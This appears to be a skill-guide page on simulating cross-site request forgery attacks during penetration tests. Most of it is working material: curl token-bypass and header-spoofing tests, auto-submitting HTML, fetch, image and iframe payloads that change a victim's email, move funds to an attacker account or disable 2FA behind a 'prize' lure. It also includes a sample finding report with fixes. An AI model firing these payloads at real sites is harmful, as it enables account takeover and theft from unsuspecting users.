Name: Performing Csrf Attack Simulation
Author: mukul975

Performing Csrf Attack Simulation | Skills Pool

# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)

# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

[email protected]

# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation

# Check if CSRF token is present
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# Test 1: Remove the CSRF token entirely
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 2: Send empty CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
  -b "session=user_a_session" \
  -d "[email protected]&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None

# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)

# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "[email protected]&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with evil Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "[email protected]&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with spoofed Origin
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "[email protected]" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# In Burp Suite:
# 1. Right-click the target request in Proxy > HTTP History
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to validate the PoC

# Burp generates HTML like:

<!-- Auto-submitting CSRF PoC for form-encoded POST -->
<html>
  <body>
    <h1>Loading...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="[email protected]" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- CSRF for JSON API using form with enctype -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"[email protected]","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- CSRF via XMLHttpRequest (requires permissive CORS) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "[email protected]"}));
</script>

<!-- CSRF via fetch API -->
<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "[email protected]"
});
</script>

<!-- CSRF via image tag (GET-based state change) -->
<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />

<!-- Multi-step CSRF with iframe -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

# Start a local web server to host the CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC file structure:
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC page
#   change-email.html   <- Email change CSRF
#   transfer.html       <- Fund transfer CSRF

# Testing steps:
# 1. Log in to target as victim user in Browser A
# 2. Open http://localhost:8888/change-email.html in Browser A
# 3. Check if the email was changed without victim's consent
# 4. Verify the state change in the application

# For SameSite=Lax bypass via top-level navigation:
# Use GET-based CSRF with window.open or anchor tag

<!-- SameSite=Lax bypass using top-level navigation -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">Click here for a prize!</a>
    <script>
      // Automatic click via social engineering context
      // SameSite=Lax allows cookies on top-level GET navigations
    </script>
  </body>
</html>

Concept	Description
CSRF	Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site
Anti-CSRF Token	A unique, unpredictable value tied to the user's session that must be included in state-changing requests
SameSite Cookie	Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests
Origin Header	HTTP header indicating the origin of the request, used for CSRF validation
Referer Header	HTTP header containing the URL of the referring page, sometimes used for CSRF checks
Double Submit Cookie	CSRF defense that compares a cookie value with a request parameter value
Synchronizer Token Pattern	Server generates and validates a unique token per session or per request

Tool	Purpose
Burp Suite Professional	CSRF PoC generator and request analysis
OWASP ZAP	Anti-CSRF token detection and CSRF testing
XSRFProbe	Automated CSRF vulnerability scanner (`pip install xsrfprobe`)
Python http.server	Local web server for hosting CSRF PoC pages
Browser DevTools	Inspecting cookies, SameSite attributes, and network requests
CSRFTester (OWASP)	Legacy tool for crafting and testing CSRF attacks

## CSRF Vulnerability Finding

**Vulnerability**: Cross-Site Request Forgery (Email Change)
**Severity**: High (CVSS 8.0)
**Location**: POST /api/account/change-email
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Authenticate as victim at https://target.example.com
2. Host the following HTML on an attacker-controlled server
3. Trick victim into visiting the attacker page while authenticated
4. The victim's email is changed to [email protected] without consent

### Anti-CSRF Defenses Tested
| Defense | Present | Enforced |
|---------|---------|----------|
| CSRF Token | No | N/A |
| SameSite Cookie | Lax | Partial (GET bypass) |
| Origin Validation | No | N/A |
| Referer Validation | No | N/A |
| Custom Header Required | No | N/A |

### Impact
- Account takeover via email change + password reset chain
- Unauthorized fund transfers
- Settings modification (2FA disable, notification change)

### Recommendation
1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests
2. Set SameSite=Strict on session cookies where possible
3. Validate Origin and Referer headers as defense-in-depth
4. Require re-authentication for sensitive operations (password change, fund transfer)
5. Use custom request headers (X-Requested-With) for AJAX endpoints

Performing Csrf Attack Simulation

When to Use

Prerequisites

Performing Csrf Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Identify State-Changing Requests

Step 2: Analyze Anti-CSRF Token Implementation

Step 4: Generate CSRF Proof-of-Concept with Burp Suite

Step 5: Craft Advanced CSRF Payloads

Step 6: Test and Validate the CSRF Attack

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Email Change Without CSRF Token

Scenario 2: Fund Transfer with Token Bypass

Scenario 3: JSON API CSRF via Content-Type Manipulation

Scenario 4: SameSite=Lax Bypass on GET State Change

Output Format

1password

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Performing Csrf Attack Simulation

When to Use

Prerequisites

Performing Csrf Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Identify State-Changing Requests

Step 2: Analyze Anti-CSRF Token Implementation

Step 3: Check SameSite Cookie and Header Protections

Step 4: Generate CSRF Proof-of-Concept with Burp Suite

Step 5: Craft Advanced CSRF Payloads

Step 6: Test and Validate the CSRF Attack

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Email Change Without CSRF Token

Scenario 2: Fund Transfer with Token Bypass

Scenario 3: JSON API CSRF via Content-Type Manipulation

Scenario 4: SameSite=Lax Bypass on GET State Change

Output Format

1password

Springboot Security

Security Review

Laravel Security

Security Review

Django Security